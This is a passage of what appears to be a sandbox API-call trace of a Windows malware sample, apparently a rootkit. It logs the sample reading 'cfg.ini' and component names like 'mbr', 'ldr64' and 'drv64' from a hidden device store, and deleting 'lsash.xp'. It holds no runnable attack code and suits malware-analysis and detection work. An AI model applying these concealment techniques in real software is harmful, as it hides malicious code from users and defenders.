Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.171] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.171] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.171] IdePortDispatch () returned 0x103 [0127.171] KeWaitForMutexObject () returned 0x0 [0127.171] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.171] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.171] KeLeaveCriticalRegion () [0127.171] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.171] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.172] KeEnterCriticalRegion () [0127.172] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.172] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b93000 [0127.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.172] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.172] IdePortDispatch () returned 0x103 [0127.172] KeWaitForMutexObject () returned 0x0 [0127.172] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.172] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.172] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.172] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.172] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.172] IdePortDispatch () returned 0x103 [0127.172] KeWaitForMutexObject () returned 0x0 [0127.172] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.172] KeLeaveCriticalRegion () [0127.172] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.173] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.173] KeEnterCriticalRegion () [0127.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.173] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.173] KeLeaveCriticalRegion () [0127.173] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.173] KeEnterCriticalRegion () [0127.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.173] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.173] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.173] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.173] KeLeaveCriticalRegion () [0127.173] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.173] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.173] KeEnterCriticalRegion () [0127.173] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.174] ExFreePoolWithTag (P=0xfffffa8003bf50c0, Tag=0x0) [0127.174] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.174] KeLeaveCriticalRegion () [0127.174] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.174] ReleaseMutex (hMutex=0xf0) returned 1 [0127.174] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.179] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.179] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.179] KeEnterCriticalRegion () [0127.179] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.179] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.179] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.179] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.179] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.179] IdePortDispatch () returned 0x103 [0127.179] KeWaitForMutexObject () returned 0x0 [0127.179] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.179] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.179] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.179] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.179] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.179] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8002adcbc0 [0127.179] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.179] KeLeaveCriticalRegion () [0127.179] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.180] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.180] KeEnterCriticalRegion () [0127.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.180] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.180] KeLeaveCriticalRegion () [0127.180] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.180] KeEnterCriticalRegion () [0127.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.180] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.180] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.180] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.180] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.180] IdePortDispatch () returned 0x103 [0127.180] KeWaitForMutexObject () returned 0x0 [0127.180] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.180] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.180] KeLeaveCriticalRegion () [0127.180] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.180] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.180] KeEnterCriticalRegion () [0127.180] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.181] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b95000 [0127.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.181] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.181] IdePortDispatch () returned 0x103 [0127.181] KeWaitForMutexObject () returned 0x0 [0127.181] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.181] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.181] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.181] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.181] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.181] IdePortDispatch () returned 0x103 [0127.181] KeWaitForMutexObject () returned 0x0 [0127.181] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.181] KeLeaveCriticalRegion () [0127.181] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.182] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.182] KeEnterCriticalRegion () [0127.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.182] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.182] KeLeaveCriticalRegion () [0127.182] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.182] KeEnterCriticalRegion () [0127.182] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.182] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.182] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf52e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.182] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.182] KeLeaveCriticalRegion () [0127.182] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.182] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.182] KeEnterCriticalRegion () [0127.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.183] ExFreePoolWithTag (P=0xfffffa8002adcbc0, Tag=0x0) [0127.183] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.183] KeLeaveCriticalRegion () [0127.183] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.183] ReleaseMutex (hMutex=0xf0) returned 1 [0127.183] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.183] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.183] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.183] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.183] KeEnterCriticalRegion () [0127.183] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.183] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.183] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.183] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.183] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.183] IdePortDispatch () returned 0x103 [0127.183] KeWaitForMutexObject () returned 0x0 [0127.183] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.183] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.183] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.183] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.183] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.183] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.183] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.183] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.184] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.184] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.184] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.184] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.184] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.184] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.184] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.184] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.184] KeLeaveCriticalRegion () [0127.184] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.184] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.184] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.184] KeEnterCriticalRegion () [0127.184] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.184] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.184] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.184] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.184] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.184] IdePortDispatch () returned 0x103 [0127.184] KeWaitForMutexObject () returned 0x0 [0127.184] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.184] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.184] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.184] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.184] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.184] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.184] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.184] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.184] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.185] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.185] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.185] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.185] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.185] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.185] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.185] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.185] KeLeaveCriticalRegion () [0127.185] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.185] ReleaseMutex (hMutex=0x100) returned 1 [0127.185] Sleep (dwMilliseconds=0x2bf20) [0127.196] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f03a390, dwHighDateTime=0x1d24fa4)) [0127.196] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.196] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.196] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.196] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.197] KeEnterCriticalRegion () [0127.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.197] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.197] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.197] IdePortDispatch () returned 0x103 [0127.197] KeWaitForMutexObject () returned 0x0 [0127.197] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.197] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.197] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.197] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.197] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.197] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7aa0 [0127.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.197] KeLeaveCriticalRegion () [0127.197] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.197] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.197] KeEnterCriticalRegion () [0127.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.197] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.197] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.197] KeLeaveCriticalRegion () [0127.197] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.197] KeEnterCriticalRegion () [0127.197] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.197] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.197] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.198] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.198] IdePortDispatch () returned 0x103 [0127.198] KeWaitForMutexObject () returned 0x0 [0127.198] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.198] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.198] KeLeaveCriticalRegion () [0127.198] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.198] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.198] KeEnterCriticalRegion () [0127.198] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.198] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b98000 [0127.198] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.198] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.198] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.198] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.198] IdePortDispatch () returned 0x103 [0127.199] KeWaitForMutexObject () returned 0x0 [0127.199] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.199] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.199] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.199] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.199] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.199] IdePortDispatch () returned 0x103 [0127.199] KeWaitForMutexObject () returned 0x0 [0127.199] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.199] KeLeaveCriticalRegion () [0127.199] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.200] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.200] KeEnterCriticalRegion () [0127.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.200] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.200] KeLeaveCriticalRegion () [0127.200] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.200] KeEnterCriticalRegion () [0127.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.200] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.200] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bf52e0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.200] KeLeaveCriticalRegion () [0127.200] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.200] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.200] KeEnterCriticalRegion () [0127.200] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.200] ExFreePoolWithTag (P=0xfffffa800c4f7aa0, Tag=0x0) [0127.200] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.200] KeLeaveCriticalRegion () [0127.200] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.200] 